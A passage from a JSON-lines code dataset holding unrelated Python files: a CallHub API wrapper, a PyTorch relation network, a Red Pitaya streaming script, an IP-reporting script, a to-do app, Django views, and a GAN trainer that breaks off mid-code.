    new_responses, errors = self._handle_requests(failed_requests, retry=True, current_retry_count=current_retry_count+1)\n            responses = responses + new_responses\n\n        return responses, errors\n\n    def get_dnc_lists(self):\n        \"\"\"\n        Returns ids and names of all do-not-contact lists\n        Returns:\n            dnc_lists (``dict``): Dictionary of dnc lists where the key is the id and the value is the name\n        \"\"\"\n        dnc_lists = self._get_paged_data(\"{}/v1/dnc_lists/\".format(self.api_domain))\n        return {dnc_list['url'].split(\"/\")[-2]: dnc_list[\"name\"] for dnc_list in dnc_lists}\n\n    def pretty_format_dnc_data(self, dnc_contacts):\n        dnc_lists = self.get_dnc_lists()\n        dnc_phones = defaultdict(list)\n        for dnc_contact in dnc_contacts:\n            phone = dnc_contact[\"phone_number\"]\n            dnc_list_id = dnc_contact[\"dnc\"].split(\"/\")[-2]\n            dnc_contact_id = dnc_contact[\"url\"].split(\"/\")[-2]\n            dnc_list = {\"list_id\": dnc_list_id, \"name\": dnc_lists[dnc_list_id], \"dnc_contact_id\": dnc_contact_id}\n            dnc_phones[phone].append(dnc_list)\n        return dict(dnc_phones)\n\n    def get_dnc_phones(self):\n        \"\"\"\n        Returns all phone numbers in all DNC lists\n        Returns:\n            dnc_phones (``dict``): Dictionary of all phone numbers in all dnc lists. A phone number may be associated\n                with multiple dnc lists. Note that each phone number on each dnc list has a unique dnc_contact_id that\n                has NOTHING to do with the contact_id of the actual contacts related to those phone numbers. Schema:\n                >>> dnc_contacts = {\"16135554432\": [\n                >>>                                    {\"list_id\": 5543, \"name\": \"Default DNC List\", \"dnc_contact_id\": 1234}\n                >>>                                    {\"list_id\": 8794, \"name\": \"SMS Campaign\", \"dnc_contact_id\": 4567}\n                >>>                                 ]}}\n        \"\"\"\n        dnc_contacts = self._get_paged_data(\"{}/v1/dnc_contacts/\".format(self.api_domain))\n        return self.pretty_format_dnc_data(dnc_contacts)\n\n\n    def add_dnc(self, phone_numbers, dnc_list_id):\n        \"\"\"\n        Adds phone numbers to a DNC list of choice\n        Args:\n            phone_numbers (``list``): Phone numbers to add to DNC\n            dnc_list (``str``): DNC list id to add contact(s) to\n        Returns:\n            results (``dict``): Dict of phone numbers and DNC lists added to\n            errors (``list``): List of errors and failures\n        \"\"\"\n        if not isinstance(phone_numbers, list):\n            raise TypeError(\"add_dnc expects a list of phone numbers. If you intend to only add one number to the \"\n                            \"do-not-contact list, add a list of length 1\")\n\n        url = \"{}/v1/dnc_contacts/\".format(self.api_domain)\n        requests = []\n        for number in phone_numbers:\n            data = {\"dnc\": \"{}/v1/dnc_lists/{}/\".format(self.api_domain, dnc_list_id), 'phone_number': number}\n            requests.append({\"func\": self.session.post,\n                             \"func_params\": {\"url\": url, \"data\":data},\n                             \"expected_status\": 201})\n\n        responses, errors = self._handle_requests(requests, retry=True)\n        dnc_records = [request.json() for request in responses]\n        results = self.pretty_format_dnc_data(dnc_records)\n        return results, errors\n\n\n    def remove_dnc(self, numbers, dnc_list=None):\n        \"\"\"\n        Removes phone numbers from do-not-contact list. CallHub's api does not support this, instead it only supports\n        removing phone numbers by their internal do not contact ID. I want to abstract away from that, but it requires\n        building a table of phone numbers mapping to their dnc ids, which can slow this function down especially when\n        using an account with many numbers already marked do-not-contact. This function takes advantage of caching to\n        get around this, and a CallHub instance will have a cache of numbers and dnc lists -> dnc_contact ids available\n        for use. This cache is refreshed if a number is requested to be removed from the DNC list that does not appear\n        in the cache.\n        Args:\n            phone_numbers (``list``): Phone numbers to remove from DNC\n        Keyword Args:\n            dnc_list (``str``, optional): DNC list id to remove numbers from. If not specified, will remove number from\n                all dnc lists.\n        Returns:\n            errors (``list``): List of errors\n        \"\"\"\n        # Check if we need to refresh DNC phone numbers cache\n        if not set(numbers).issubset(set(self.dnc_cache.keys())):\n            self.dnc_cache = self.get_dnc_phones()\n\n        dnc_ids_to_purge = []\n        for number in numbers:\n            for dnc_entry in self.dnc_cache[number]:\n                if dnc_list and (dnc_entry[\"list_id\"] == dnc_list):\n                    dnc_ids_to_purge.append(dnc_entry[\"dnc_contact_id\"])\n                elif not dnc_list:\n                    dnc_ids_to_purge.append(dnc_entry[\"dnc_contact_id\"])\n\n        url = \"{}/v1/dnc_contacts/{}/\"\n        requests = []\n        for dnc_id in dnc_ids_to_purge:\n            requests.append({\"func\": self.session.delete,\n                             \"func_params\": {\"url\": url.format(self.api_domain, dnc_id)},\n                             \"expected_status\": 204})\n        responses, errors = self._handle_requests(requests)\n        return errors\n\n    def create_dnc_list(self, name):\n        \"\"\"\n        Creates a new DNC list\n        Args:\n            name (``str``): Name to assign to DNC list\n        Returns:\n            id (``str``): ID of created dnc list\n        \"\"\"\n        url = \"{}/v1/dnc_lists/\".format(self.api_domain)\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.post,\n            \"func_params\": {\"url\": url, \"data\": {\"name\": name}},\n            \"expected_status\": 201\n        }])\n        if errors:\n            raise RuntimeError(errors)\n        return responses[0].json()[\"url\"].split(\"/\")[-2]\n\n    def remove_dnc_list(self, id):\n        \"\"\"\n        Deletes an existing DNC list\n        Args:\n            id (``str``): ID of DNC list to delete\n        \"\"\"\n        url = \"{}/v1/dnc_lists/{}/\"\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.delete,\n            \"func_params\": {\"url\": url.format(self.api_domain, id)},\n            \"expected_status\": 204\n        }])\n        if errors:\n            raise RuntimeError(errors)\n\n\n    def get_campaigns(self):\n        \"\"\"\n        Get call campaigns\n        Returns:\n            campaigns (``dict``): list of campaigns\n        \"\"\"\n        url = \"{}/v1/callcenter_campaigns/\".format(self.api_domain)\n        campaigns = self._get_paged_data(url)\n        # Extract campaign id from url\n        for i, campaign in enumerate(campaigns):\n            id = campaign[\"url\"].split(\"/\")[-2]\n            campaigns[i][\"id\"] = id\n        return campaigns\n\n    def create_phonebook(self, name, description=\"\"):\n        \"\"\"\n        Create a phonebook\n        Args:\n            name (``str``): Name of phonebook\n        Keyword Args:\n            description (``str``, optional): Description of phonebook\n        Returns:\n            id (``str``): id of phonebook\n        \"\"\"\n        url = \"{}/v1/phonebooks/\".format(self.api_domain)\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.post,\n            \"func_params\": {\"url\": url, \"data\": {\"name\": name, \"description\": description}},\n            \"expected_status\": 201\n        }])\n        if errors:\n            raise RuntimeError(errors)\n        id = responses[0].json()[\"url\"].split(\"/\")[-2]\n        return id\n\n    def create_webhook(self, target, event=\"cc.notes\"):\n        \"\"\"\n        Creates a webhook on a particular target\n        Args:\n            target (``str``): URL for CallHub to send webhook to\n        Keyword Args:\n            event (``str``, optional): Event which triggers webhook. Default: When an agent completes a call (cc.notes)\n        Returns:\n            id (``str``): id of created webhook\n        \"\"\"\n        url = \"{}/v1/webhooks/\".format(self.api_domain)\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.post,\n            \"func_params\": {\"url\": url, \"data\": {\"target\": target, \"event\": event}},\n            \"expected_status\": 201\n        }])\n        if errors:\n            raise RuntimeError(errors)\n        return responses[0].json()[\"id\"]\n\n    def get_webhooks(self):\n        \"\"\"\n        Fetches webhooks created by a CallHub account\n        Returns:\n            webhooks (``dict``): list of webhooks\n        \"\"\"\n        url = \"{}/v1/webhooks/\".format(self.api_domain)\n        webhooks = self._get_paged_data(url)\n        return webhooks\n\n    def remove_webhook(self, id):\n        \"\"\"\n        Deletes a webhook with a given id\n        Args:\n            id (``str``): id of webhook to delete\n        \"\"\"\n        url = \"{}/v1/webhooks/{}/\".format(self.api_domain, id)\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.delete,\n            \"func_params\": {\"url\": url},\n            \"expected_status\": 204\n        }])\n        if errors:\n            raise RuntimeError(errors)\n\n    def export_campaign(self, id):\n        \"\"\"\n        Triggers an export from CallHub's campaign export API. Note that the returned download link only works in an\n        authenticated USER session for the callhub account in question. There is no way to download call campaign\n        results directly through the API, you can only trigger exports. Because of this, there is a very limited\n        use case for this function.\n        Args:\n            id (``str``): id of campaign to export\n        Returns:\n            url (``str``): download link for campaign\n        \"\"\"\n        # Step 1: Request export of campaign\n        url = \"{}/v1/power_campaign/{}/export/\".format(self.api_domain, id)\n        responses, errors = self._handle_requests([{\n            \"func\": self.session.post,\n            \"func_params\": {\"url\": url},\n            \"expected_status\": 202\n        }])\n        if errors:\n            raise RuntimeError(errors)\n        polling_url = responses[0].json()[\"polling_url\"]\n\n        # Step 2: Continuously check if export is complete - 5 min maximum\n        num_attempts_made = 0\n        state = \"PENDING\"\n        while state == \"PENDING\" or state == \"PROGRESS\":\n            time.sleep(1)\n            responses, errors = self._handle_requests([{\n                \"func\": self.session.get,\n                \"func_params\": {\"url\": polling_url},\n                \"expected_status\": 200\n            }])\n            if errors:\n                raise RuntimeError(errors)\n            state = responses[0].json()[\"state\"]\n\n            num_attempts_made += 1\n            if num_attempts_made == 300:\n                state = \"TIMEOUT\"\n\n        if state != \"SUCCESS\":\n            raise RuntimeError(\"CallHub reported an error trying to export the campaign. State: {}. \"\n                               \"Full Response: {}\".format(state, responses[0].text))\n\n        if responses[0].json()[\"data\"][\"code\"] != 200:\n            raise RuntimeError(\"CallHub reported an error trying to export the campaign. \"\n                               \"Full Response: {}\".format(responses[0].text))\n\n        return responses[0].json()[\"data\"][\"url\"]","repo_name":"jamesbrunet/callhub-python-wrapper","sub_path":"callhub/callhub.py","file_name":"callhub.py","file_ext":"py","file_size_in_byte":26994,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"21749183389","text":"import torch\r\nimport torch.nn as nn\r\nfrom torch.nn.utils.weight_norm import weight_norm\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\nimport torch.nn.init as init\r\nimport numpy as np\r\nfrom torch.nn.utils.weight_norm import weight_norm\r\n\r\nclass FCNet(nn.Module):\r\n    \"\"\"Simple class for non-linear fully connect network\r\n    \"\"\"\r\n    def __init__(self, dims, dropout=0.5, bias=True, relu=True, wn=True):\r\n        super(FCNet, self).__init__()\r\n\r\n        layers = []\r\n        for i in range(len(dims)-2):\r\n            in_dim = dims[i]\r\n            out_dim = dims[i+1]\r\n            if 0 < dropout:\r\n                layers.append(nn.Dropout(dropout))\r\n            layer = nn.Linear(in_dim, out_dim, bias)\r\n            if wn: layer = weight_norm(layer, dim=None)\r\n            layers.append(layer)\r\n            if relu: layers.append(nn.ReLU())\r\n\r\n        if 0 < dropout:\r\n            layers.append(nn.Dropout(dropout))\r\n        layer = nn.Linear(dims[-2], dims[-1], bias)\r\n        if wn: layer = weight_norm(layer, dim=None)\r\n        layers.append(layer)\r\n        if relu: layers.append(nn.ReLU())\r\n\r\n\r\n        if not wn:\r\n            for m in layers:\r\n                if isinstance(m, nn.Linear):\r\n                    nn.init.xavier_uniform_(m.weight)\r\n                    if m.bias is not None:\r\n                        m.bias.data.zero_()\r\n\r\n        self.main = nn.Sequential(*layers)\r\n\r\n    def forward(self, x):\r\n        return self.main(x)\r\n\r\nclass RN(nn.Module):\r\n    def __init__(self, v_dim, subspace_dim, r_dim, ksize=3, dropout_ratio=.2):\r\n        super(RN, self).__init__()\r\n        self.r_dim = r_dim\r\n        self.relation_glimpse = r_dim\r\n        conv_channels = subspace_dim\r\n\r\n\r\n        self.v_prj = FCNet([v_dim, conv_channels], dropout=dropout_ratio)\r\n        out_channel1 = int(conv_channels/2)\r\n        out_channel2 = int(conv_channels/4)\r\n        if ksize == 3:\r\n            padding1, padding2, padding3 = 1, 2, 4\r\n        if ksize == 5:\r\n            padding1, padding2, padding3 = 2, 4, 8\r\n        if ksize == 7:\r\n            padding1, padding2, padding3 = 3, 6, 12\r\n        self.r_conv01 = nn.Conv2d(in_channels=conv_channels, out_channels=out_channel1, kernel_size=1)\r\n        self.r_conv02 = nn.Conv2d(in_channels=out_channel1, out_channels=out_channel2, kernel_size=1)\r\n        self.r_conv03 = nn.Conv2d(in_channels=out_channel2, out_channels=r_dim, kernel_size=1)\r\n        self.r_conv1 = (nn.Conv2d(in_channels=conv_channels, out_channels=out_channel1, kernel_size=ksize, dilation=1, padding=padding1))\r\n        self.r_conv2 = (nn.Conv2d(in_channels=out_channel1, out_channels=out_channel2, kernel_size=ksize, dilation=2, padding=padding2))\r\n        self.r_conv3 = (nn.Conv2d(in_channels=out_channel2, out_channels=r_dim, kernel_size=ksize, dilation=4, padding=padding3))\r\n        self.drop = nn.Dropout(dropout_ratio)\r\n        self.relu = nn.ReLU()\r\n\r\n        for m in self.modules():\r\n            if isinstance(m, nn.Linear) or isinstance(m, nn.Conv2d):\r\n                init.xavier_uniform_(m.weight)\r\n                if m.bias is not None:\r\n                    m.bias.data.zero_()\r\n\r\n    def forward(self, X):\r\n        '''\r\n        :param X: [batch_size, vloc, in_dim]\r\n        :return: relation map:[batch_size, r_dim*2, Nr, Nr]\r\n                 relational_x: [bs, vloc, in_dim]\r\n        '''\r\n        X_ = X.clone()\r\n        bs, vloc, in_dim = X.size()\r\n\r\n        self.Nr = vloc\r\n\r\n\r\n        # project the visual features and get the relation map\r\n        X = self.v_prj(X)#[bs, Nr, subspace_dim]\r\n        X = X\r\n        Xi = X.unsqueeze(1).repeat(1,self.Nr,1,1)#[bs, Nr, Nr, subspace_dim]\r\n        Xj = X.unsqueeze(2).repeat(1,1,self.Nr,1)#[bs, Nr, Nr, subspace_dim]\r\n        X = Xi * Xj #[bs, Nr, Nr, subspace_dim]\r\n        X = X.permute(0, 3, 1, 2)#[bs, subspace_dim, Nr, Nr]\r\n\r\n        X0 = self.drop(self.relu(self.r_conv01(X)))\r\n        X0 = self.drop(self.relu(self.r_conv02(X0)))\r\n        relation_map0 = self.drop(self.relu(self.r_conv03(X0)))\r\n        relation_map0 = relation_map0 + relation_map0.transpose(2, 3)\r\n        #relation_map0 = nn.functional.softmax(relation_map0.view(bs, self.r_dim, -1), 2)\r\n        #relation_map0 = relation_map0.view(bs, self.r_dim, self.Nr, -1)\r\n\r\n        X = self.drop(self.relu(self.r_conv1(X)))#[bs, subspace_dim, Nr, Nr]\r\n        X = self.drop(self.relu(self.r_conv2(X)))  # [bs, subspace_dim, Nr, Nr]\r\n        relation_map = self.drop(self.relu(self.r_conv3(X)))  # [bs, relation_glimpse, Nr, Nr]\r\n        relation_map = relation_map + relation_map.transpose(2, 3)\r\n        #relation_map = nn.functional.softmax(relation_map.view(bs, self.r_dim, -1), 2)\r\n        #relation_map = relation_map.view(bs, self.r_dim, self.Nr, -1)\r\n\r\n        relational_X = torch.zeros_like(X_)\r\n        # for g in range(self.relation_glimpse):\r\n        #     relational_X = relational_X + torch.matmul(relation_map[:,g,:,:], X_) + torch.matmul(relation_map0[:,g,:,:], X_)\r\n        # relational_X = relational_X/(2*self.r_dim)\r\n        return torch.cat([relation_map0, relation_map], dim=1), relational_X\r\n\r\nif __name__ == '__main__':\r\n    vloc = 49\r\n    bs = 8\r\n    indim = 1024\r\n    x = torch.randn(bs, vloc, indim)\r\n    rn = RN(v_dim=indim, subspace_dim=256, r_dim=128)\r\n    r, xx = rn(x)\r\n    print(xx)\r\n    y = torch.randn(size=(bs, 256, 49, 49))\r\n    loss = torch.nn.MSELoss()\r\n    l = loss(r, y)\r\n    print(l)\r\n\r\n\r\n\r\n\r\n","repo_name":"zhangweifeng1218/Text-based-Person-Search","sub_path":"models/relation.py","file_name":"relation.py","file_ext":"py","file_size_in_byte":5408,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"19860012562","text":"# -*- coding: utf-8 -*-\r\n\r\n# You need paramiko for Red Pitaya conecction\r\n\r\n# If you use Anaconda, run from console:\r\n# conda install -c anaconda paramiko\r\n\r\n#%%\r\n\r\nfrom numpy import *\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom time import sleep,time\r\n\r\n\r\n# PATH of control_hugo.py file\r\nimport sys\r\n\r\nfrom control_hugo import red_pitaya_control,red_pitaya_app\r\n\r\nAppName      = 'lock_in+pid_harmonic'\r\nhost         = 'rp-f00a3b.local'\r\nport         = 22  # default port\r\ntrigger_type = 6   # 6 is externa trigger\r\n\r\n\r\n\r\n\r\n#%%\r\n\r\n\r\n\r\nfilename = 'test.npz'\r\nrp=red_pitaya_app(AppName=AppName,host=host,port=port,filename=filename,password='root')\r\n\r\n# reduce log noise on Windows platform\r\nimport logging\r\nlogging.basicConfig()\r\nlogging.getLogger(\"paramiko\").setLevel(logging.WARNING)\r\nrp.verbose = False\r\n\r\n#%%\r\n\r\n\r\nrp.start_streaming(signals='oscA oscB',log='Arrancamos')\r\n\r\nsleep(1000)\r\n\r\nrp.stop_streaming()\r\n\r\n\r\n\r\n#%%\r\nfrom read_dump import read_dump,struct\r\n\r\nd = read_dump('20201221_102244_dump.bin')\r\n\r\n\r\nd.load_params()\r\nd.time_stats()\r\n\r\n\r\nd.load_time()\r\n\r\n\r\nd.plot('oscA,oscB'.split(','))\r\n\r\n\r\n\r\nd.allan_range2('oscA' ,start=0,end=42800)\r\nd.plot_allan_error(0)\r\n\r\n\r\n\r\nd.allan_range2('oscB' ,start=0,end=42800)\r\nd.plot_allan_error(1)\r\n\r\n\r\n\r\n","repo_name":"marceluda/rp_lock-in_pid_h","sub_path":"resources/remote_control/shh_version/example_streaming.py","file_name":"example_streaming.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"17721150519","text":"import requests, os\nfrom consts import consts\nAPI_URL = 'https://api.ehsanshirzadi.com'\nurl = 'http://icanhazip.com'\nresult = requests.get(url)\npc_ip = result.text.rstrip('\\n')\nprint(os.path.exists('/var/tmp/ip.txt'))\nold_ip = ''\nif not os.path.exists('/var/tmp/ip.txt'):\n    f = open('/var/tmp/ip.txt', 'w')\n    f.write(pc_ip)\n    f.close()\nelse:\n    f = open('/var/tmp/ip.txt', 'r')\n    old_ip = f.read()\n    f.close()\nprint(f'pc_ip is {pc_ip} and old_ip is {old_ip}')\nprint(old_ip)\n# if pc_ip != old_ip:\nprint('sending...')\nSETTING_API = API_URL + '/v1/setting'\ndata = {\n    'conditions': {'name': 'mypc'},\n    'ip': pc_ip\n}\nresult = requests.put(SETTING_API, json=data)\nprint(result.json())\n","repo_name":"ehsansh84/ehsan","sub_path":"daemons/send_ip.py","file_name":"send_ip.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2442964654","text":"class FileManager():\r\n    def __init__(self):\r\n        pass\r\n\r\n    def WriteToFile(self, info):\r\n        self.info = info\r\n        with open(r\"PATH\\todolist.txt\", \"a\") as file:\r\n            file.write(self.info + \"\\n\")\r\n            \r\n    def ReadFile(self):\r\n        with open(r\"PATH\\todolist.txt\", \"r\") as file:\r\n            self.items = file.read().strip()\r\n        return self.items\r\n    \r\nclass UserTalk(FileManager):\r\n    def __init__(self):\r\n        super().__init__()\r\n        print(\"Welcome to the To-Do List Application done with OOPS Python\")\r\n        print(\"Enter 1 - Add a Task \\n Enter 2 - View Tasks\")\r\n        self.ask = input(\"\")\r\n        if self.ask.strip() == '1':\r\n            self.AddTask()\r\n        \r\n        elif self.ask.strip() == '2':\r\n            self.ViewTasks()\r\n        \r\n        else:\r\n            print(\"Only Enter 1 or 2\")\r\n\r\n    def AddTask(self):\r\n        print(\"Enter the Task in Brief\")\r\n        self.task = input(\"\")\r\n        self.task = self.task.strip()\r\n        self.WriteToFile(self.task)\r\n        print(\"Task Added!\")\r\n    \r\n    def ViewTasks(self):\r\n        print(\"Here are your Tasks!\")\r\n        print(\"---\")\r\n        print(self.ReadFile())\r\n        print(\"---\")\r\n\r\nobj = UserTalk()\r\n\r\n    \r\n","repo_name":"nsaisankalp25/PythonShared","sub_path":"todolistOOPS.py","file_name":"todolistOOPS.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27072058460","text":"#The same exercice as 4.7 \n\nimport turtle\nimport random\n\n\nwn = turtle.Screen()\n\ndrunkpirate = turtle.Turtle()\n\nrandomexperience = [160, -43, 270, -97, -43, 200, -940, 17, -86]\n\n\ndef randomwalk(n):\n    for i in range(0,7):\n        drunkpirate.left(randomexperience[n])\n        drunkpirate.forward(100)\n\nfor element in randomexperience:\n    randomwalk(element)\n\nwn.exitonclick()\n","repo_name":"djepar/CoursGenInfo","sub_path":"Programmation/python/rs/rs_4/ExercicesRS4/exercice4_7_2.py","file_name":"exercice4_7_2.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21873673899","text":"from django.shortcuts import render\nfrom .forms import GroceryForm\nfrom django.http import JsonResponse\n# Create your views here.\n#def grocery_list(request):\n#    return render(request, 'grocery_list_app/grocery_list.html', {})\n\nfrom .models import FoodPrices\n\ndef submit_grocery_list(request):\n    \n    if request.method == \"POST\":\n        form = GroceryForm(request.POST)     \n\n    else:\n        form = GroceryForm()\n\n    #this view will actually be coming from the map part, and will redirect to the grocery list page\n    #make a dictionary with dollar sign info and list of foods available at that type of store?\n    #add that dictionary to the render thing\n    #somehow edit the dropdown menu on the form based on the list of foods...\n\n    return render(request, 'grocery_list_app/grocery_list_2.html', {'form': form})\n\n\ndef cash_register(request):\n    food_id = request.GET.get('food_id', None)\n    data = {\n            'food_price': FoodPrices.objects.get(id=food_id).food_price,\n            'food_quantity': FoodPrices.objects.get(id=food_id).food_quantity,\n            'food_name': FoodPrices.objects.get(id=food_id).food_name\n            }\n\n    #probably add dollar signs to this dictionary\n    #e.g. 'dollar_sign': 1\n\n    return JsonResponse(data)\n","repo_name":"donuts-and-data-division/cs122-project","sub_path":"groceries/grocery_list_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21555982124","text":"#\n# trainer.py\n# codes for training GAN\n#\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport time\nimport warnings\n\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader\nfrom torchvision.utils import make_grid\n\nfrom util.components import *\nfrom util.loss import loss_gen_bce, loss_dis_bce, Rotate3dLoss\nfrom util.camera_param import CameraParam\nfrom util.save_results import generate_sample_rgbd, convert_batch_images_rgbd, save_batch_sample_rgbd, save_loss_graph\nfrom util.osgan_module import get_gradient_ratios, GradientScaler\nfrom util import fid_score\n\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\n\nclass TrainerPGGAN:\n    \"\"\"\n    class of PGGAN for generating RGB images\n    \"\"\"\n    def __init__(self, config_train, config_transform=None, device=torch.device('cuda')):\n        self.gen = config_train['generator']\n        self.dis = config_train['discriminator']\n\n        self.optim_g = config_train['optim_gen']\n        self.optim_d = config_train['optim_dis']\n\n        self.dataset = config_train['dataset']\n\n        self.schedule = config_train['schedule']\n        self.latent_size = config_train['latent_size']\n        self.lambda_gp = config_train['lambda_gp']\n        self.in_res = config_train['in_res']\n        self.out_res = config_train['out_res']\n        self.iteration = config_train['iteration']\n\n        self.checkpoint_dir = config_train['root_path'] + 'checkpoint/'\n        self.out_dir = config_train['root_path'] + 'output/'\n        self.weight_dir = config_train['root_path'] + 'weight/'\n        self.loss_dir = config_train['root_path'] + 'loss/'\n\n        self.fid = config_train['fid']\n\n        self.osgan = config_train['osgan']\n\n        self.rgbd = config_train['rgbd']\n\n        if self.rgbd:\n            self.start_rotation = config_transform['start_rotation']\n            self.start_occlusion_aware = config_transform['start_occlusion_aware']\n            self.rotate_3d_loss = Rotate3dLoss(lambda_geometric=config_transform['lambda_geometric'])\n            self.lambda_depth = config_transform['lambda_depth']\n            self.depth_min = config_transform['depth_min']\n            self.camera_param = CameraParam(\n                config_transform['train_x_rotate'],\n                config_transform['train_y_rotate'],\n                config_transform['train_z_rotate'],\n                config_transform['train_x_translate'],\n                config_transform['train_y_translate'],\n                config_transform['train_z_translate'],\n                device=device\n            )\n\n            self.test_x_rotate = config_transform['test_x_rotate']\n            self.test_y_rotate = config_transform['test_y_rotate']\n            self.test_z_rotate = config_transform['test_z_rotate']\n            self.test_x_translate = config_transform['test_x_translate']\n            self.test_y_translate = config_transform['test_y_translate']\n            self.test_z_translate = config_transform['test_z_translate']\n\n        self.device = device\n        self.fixed_latent = self.make_hidden(16)\n\n    def make_hidden(self, batch_size):\n        z = torch.normal(0, 1, size=(batch_size, self.latent_size, 1, 1))\n        z /= torch.sqrt(torch.sum(z * z, dim=1, keepdims=True) / self.latent_size + 1e-8)\n        return z.to(self.device)\n\n    def train(self):\n        warnings.filterwarnings(action='ignore')\n        # initial definition\n        epoch_time_each = np.zeros(self.iteration)\n        epoch_time_accum = np.zeros(self.iteration)\n        running_time_accum = 0.\n\n        running_loss_d = 0.\n        epoch_losses_d = np.zeros(self.iteration)\n        running_loss_g = 0.\n        epoch_losses_g = np.zeros(self.iteration)\n        if self.osgan:\n            running_loss_p = 0.\n            epoch_losses_p = np.zeros(self.iteration)\n        iter_num = 0\n\n        if self.fid:\n            fids = np.zeros(self.iteration)\n\n        if self.in_res == 4:\n            c = 0\n            self.gen.depth = 1\n            self.dis.depth = 1\n        else:\n            c = int(np.log2(self.in_res) - 3)\n            self.gen.depth = c + 2\n            self.dis.depth = c + 2\n\n        batch_size = self.schedule[1][c]\n        growing = self.schedule[2][c]\n\n        data_loader = DataLoader(dataset=self.dataset, batch_size=batch_size, shuffle=True, num_workers=8)\n\n        tot_iter_num = len(self.dataset) / batch_size\n\n        size = 2 ** (self.gen.depth + 1)\n        print(\"Output Resolution: %d x %d\" % (size, size))\n\n        for epoch in range(1, self.iteration + 1):\n            use_rotate = False\n            if self.osgan:\n                scaler = GradientScaler.apply\n\n            if self.rgbd:\n                if epoch >= self.start_rotation:\n                    use_rotate = True\n\n            self.gen.train()\n\n            epoch_loss_d = 0.\n            epoch_loss_g = 0.\n            if self.osgan:\n                epoch_loss_p = 0.\n\n            if epoch - 1 in self.schedule[0]:\n                if 2 ** (self.gen.depth + 1) < self.out_res:\n                    c = self.schedule[0].index(epoch - 1)\n                    batch_size = self.schedule[1][c]\n                    growing = self.schedule[2][c]\n                    data_loader = DataLoader(dataset=self.dataset, batch_size=batch_size, shuffle=True, num_workers=8)\n                    tot_iter_num = len(self.dataset) / batch_size\n                    self.gen.growing_net(growing * tot_iter_num)\n                    self.dis.growing_net(growing * tot_iter_num)\n                    size = 2 ** (self.gen.depth + 1)\n                    print(\"Output Resolution: %d x %d\" % (size, size))\n\n            print(\"epoch: %i/%i, batch size: %i\" % (int(epoch), int(self.iteration), int(batch_size)))\n            databar = tqdm(data_loader)\n\n            start = time.time()\n            for i, samples in enumerate(databar):\n\n                # prepare samples\n                if size != self.out_res:\n                    samples = F.interpolate(samples[0], size=size).to(self.device)\n                else:\n                    samples = samples[0].to(self.device)\n\n                # prepare random_camera_matrix\n                thetas = None\n                if self.rgbd:\n                    thetas = self.camera_param.get_sample_param(samples.size(0))\n                    random_camera_matrix = self.camera_param.get_ex_matrices(thetas)\n                    thetas = torch.reshape(\n                        # only use x,y rotations with cos, sin\n                        # torch.cat([torch.cos(thetas[:, :3]), torch.sin(thetas[:, :3]), thetas[:, 3:]], dim=1),\n                        torch.cat([torch.cos(thetas[:, :2]), torch.sin(thetas[:, :2])], dim=1),\n                        # (samples.size(0), 9, 1, 1)\n                        (samples.size(0), 4, 1, 1)\n                    )\n                if not self.osgan:\n                    # update D\n                    self.optim_d.zero_grad()\n                    if self.rgbd:\n                        latent_z = torch.cat(\n                            [self.make_hidden(samples.size(0) // 2)] * 2,\n                            dim=0\n                        )\n                    else:\n                        latent_z = self.make_hidden(samples.size(0))\n\n                    x_fake = self.gen(latent_z, theta=thetas)\n                    y_fake = self.dis(x_fake[:, :3].detach())\n                    y_real = self.dis(samples)\n\n                    # gradient penalty\n                    eps = torch.rand(samples.size(0), 1, 1, 1, device=self.device)\n                    eps = eps.expand_as(samples)\n                    x_hat = eps * samples + (1 - eps) * x_fake[:, :3].detach()\n                    x_hat.requires_grad = True\n                    px_hat = self.dis(x_hat)\n                    grad = torch.autograd.grad(outputs=px_hat.sum(), inputs=x_hat, create_graph=True)[0]\n                    grad_norm = grad.view(samples.size(0), -1).norm(2, dim=1)\n                    gradient_penalty = self.lambda_gp * ((grad_norm - 1) ** 2).mean()\n\n                    # backpropagate D loss\n                    loss_d, _, _ = loss_dis_bce(y_fake, y_real)\n                    loss_d += gradient_penalty\n                    assert not torch.isnan(loss_d.data)\n                    loss_d.backward()\n                    self.optim_d.step()\n\n                    # update G\n                    self.optim_g.zero_grad()\n                    y_fake = self.dis(x_fake[:, :3])\n\n                    loss_rotate = 0.\n                    if use_rotate:\n                        # 3d loss\n                        loss_rotate, warped_dp = self.rotate_3d_loss(\n                            x_fake[:samples.size(0) // 2],\n                            random_camera_matrix[:samples.size(0) // 2],\n                            x_fake[samples.size(0) // 2:],\n                            random_camera_matrix[samples.size(0) // 2:],\n                            epoch >= self.start_occlusion_aware\n                        )\n\n                        if self.lambda_depth > 0:\n                            # depth regularization\n                            loss_rotate += torch.mean(F.relu(self.depth_min - x_fake[:, -1]) ** 2) * self.lambda_depth\n\n                        assert not torch.isnan(loss_rotate.data)\n                        lambda_rotate = 2 if size <= self.out_res else 4\n                        loss_rotate = loss_rotate * lambda_rotate\n\n                    # backpropagate G loss\n                    loss_g = torch.mean(loss_gen_bce(y_fake)) + loss_rotate\n                    assert not torch.isnan(loss_g.data)\n                    loss_g.backward()\n                    self.optim_g.step()\n                else:\n                    if self.rgbd:\n                        